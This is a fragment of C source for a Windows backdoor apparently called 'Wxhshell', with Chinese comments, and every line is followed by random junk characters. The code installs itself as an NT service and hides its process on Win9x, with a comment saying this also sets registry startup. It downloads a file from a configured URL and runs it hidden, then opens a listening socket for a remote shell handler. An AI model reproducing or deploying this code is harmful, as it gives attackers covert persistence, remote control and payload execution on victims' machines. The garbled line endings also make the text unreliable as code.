ULONG InheritedFromUniqueProcessId; { T.VB~C
} PROCESS_BASIC_INFORMATION; ?CIa)dhu
@9-qqU@
PROCNTQSIP NtQueryInformationProcess; (<h,R@:
Sz
=z
TPnO
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,0~=9dR
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T4[eBO
r*
U6govky
HANDLE hProcess; B4kIcHA
PROCESS_BASIC_INFORMATION pbi; O'k"6sBb
b#sO1MXv
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZM" t.
if(NULL == hInst ) return 0; :z[SI{Y
<%5ny!]
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M<SZ7^9<
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q
bo`E!K
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |
!Knd ^}
wegBMRQVp
if (!NtQueryInformationProcess) return 0; zIu1oF4[
Q8_d]V=X:
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q-\: u~
if(!hProcess) return 0; #u~8Txt
R#0UwRjeF
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %n^]1R#
di|l?l^l
CloseHandle(hProcess); v"j7},P@
L(.5:&Y=`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k20tn
ew
if(hProcess==NULL) return 0; |K]tJi4fz
dQ<EDtap
HMODULE hMod; l{<@[foc
char procName[255]; 139_\=5|U/
unsigned long cbNeeded; Y9ru~&/o$
hGsYu )
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); },l3N K
}q^CR(h (R
CloseHandle(hProcess); |.YL2\
J(0c#}d
if(strstr(procName,"services")) return 1; // 以服务启动 2?&h{PA+
i9d.Ls
return 0; // 注册表启动 #soWX_>
} #(OL!B
bS*9eX=K
// 主模块 >6c{CYuT
int StartWxhshell(LPSTR lpCmdLine) #<{sP0v*
{ =7a9~&|
SOCKET wsl; +BESO
BOOL val=TRUE; Lx.X#n.]T
int port=0; ~MOIrF
struct sockaddr_in door; 9BP-Iet
-{HA+ YL H
if(wscfg.ws_autoins) Install(); 4oJ0,u
tlj^0
port=atoi(lpCmdLine); YtFtU;{
%
_ N-:.S
if(port<=0) port=wscfg.ws_port; JMXCyDy;
WawOap
WSADATA data; ~x2azY2DP
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YM-,L-HMA
-Wf 2m6t
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )<%GHDWL
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T{Av[>M
door.sin_family = AF_INET; GujmBb
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'Je;3"@
door.sin_port = htons(port); BPW2WSm@<
U2;_{n*g%
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WmeV[iI
closesocket(wsl); k/>k&^?
return 1; Z<`QDBN"4
} 3qP!
(*
nBR4j?':i
if(listen(wsl,2) == INVALID_SOCKET) { yN9/'c~
closesocket(wsl); Mp}U>+8
return 1; up1kg>i%"
} t\ ym4`"
Wxhshell(wsl); *5u0`k^j
WSACleanup(); 'bTtdFvJ
q>t#5Z81
return 0; b}WU
Hi#hf"V
} R,8;GS42
+Y-Gp4"
// 以NT服务方式启动 r3'0{Nn+
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >HyZ~M
{ V3
2F
DWORD status = 0; XsEDI?p2
DWORD specificError = 0xfffffff; 09/Mg
`KB; 3L
serviceStatus.dwServiceType = SERVICE_WIN32; 6YNd;,it>p
serviceStatus.dwCurrentState = SERVICE_START_PENDING; L\aG.\
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }gete'I
serviceStatus.dwWin32ExitCode = 0; r[K%8Y8`
serviceStatus.dwServiceSpecificExitCode = 0; W|4:3c4
serviceStatus.dwCheckPoint = 0; `fS$@{YI_
serviceStatus.dwWaitHint = 0; ]@0C1r
<m'W{n%Pp
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G8}k9?26(
if (hServiceStatusHandle==0) return; kZ$2Uss
/V0[Urc@
status = GetLastError(); UyENzK<%u
if (status!=NO_ERROR) n86LU Sj5
{ !cW6dc^
serviceStatus.dwCurrentState = SERVICE_STOPPED; .k cyw>T`I
serviceStatus.dwCheckPoint = 0; LtW}R4}3
serviceStatus.dwWaitHint = 0; ?L x*MJZ
serviceStatus.dwWin32ExitCode = status; 7v't# =
serviceStatus.dwServiceSpecificExitCode = specificError; Q\rf J||
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _\;0E!=p
return; E%LUJx}
} .~u[rc|<
#Pt_<?JtV
serviceStatus.dwCurrentState = SERVICE_RUNNING; WUrE1%u
serviceStatus.dwCheckPoint = 0; t^
Ge "
serviceStatus.dwWaitHint = 0; !Ah v07SI
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )V d^#p
} $t0o*i{
f\xmv|8
// 处理NT服务事件,比如:启动、停止 wDR/Vr"f
VOID WINAPI NTServiceHandler(DWORD fdwControl) VkFMr8@|
{ cDS\=Bf
switch(fdwControl) 52ExRG S
{ 0Xb,ne
7
case SERVICE_CONTROL_STOP: 2ci[L:U
serviceStatus.dwWin32ExitCode = 0; z.lIlp2:
serviceStatus.dwCurrentState = SERVICE_STOPPED; =U'!<w<-
serviceStatus.dwCheckPoint = 0; 9k/L m
serviceStatus.dwWaitHint = 0; AO,
o|,#4F
{ S#kYPe
SetServiceStatus(hServiceStatusHandle, &serviceStatus); s@zO`uBc
} (1 (~r"4I
return; G>=Fdt7Oc
case SERVICE_CONTROL_PAUSE: 9A~w2z\G
serviceStatus.dwCurrentState = SERVICE_PAUSED; rtNYX=P
break; iYD5~pK8
case SERVICE_CONTROL_CONTINUE: sKCYGt$
serviceStatus.dwCurrentState = SERVICE_RUNNING; hi`[
break; 0 30LT$&!
case SERVICE_CONTROL_INTERROGATE: .+A)^A
break; _ _!LTpp
}; D6-R>"}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); P?p]sLrP
} |M`'
gFqF&t
// 标准应用程序主函数 #N"m[$;QR
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E5!vw@,
{ A3)"+`&PUl
JkhW LQ>o
// 获取操作系统版本 LTxP@pr
OsIsNt=GetOsVer(); ^hXm=r4ozR
GetModuleFileName(NULL,ExeFile,MAX_PATH); KRz~3yH{c
wx^Det
// 从命令行安装 hC[=e`j
if(strpbrk(lpCmdLine,"iI")) Install();
]VL} eHZ
Z_[ P7P
// 下载执行文件 4%2APvLW
if(wscfg.ws_downexe) { 63'm
@oZ
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9#TD1B/
WinExec(wscfg.ws_filenam,SW_HIDE); @R%*; )*F
} tn#cVB3
fLnwA|n=
if(!OsIsNt) { O}>@G
// 如果时win9x,隐藏进程并且设置为注册表启动 l^Ob60)2
HideProc(); 793 15A
StartWxhshell(lpCmdLine); >TMd1?,
} )$RV)
else d?&`ZVl
if(StartFromService()) Q 9fK)j1$
// 以服务方式启动 EB|
iW2'
StartServiceCtrlDispatcher(DispatchTable); dP?prT
else K[kK8i+(
// 普通方式启动 QEg[
StartWxhshell(lpCmdLine); ~Oa$rqu%m
eZEk$W%
return 0; <o/!M6^:
}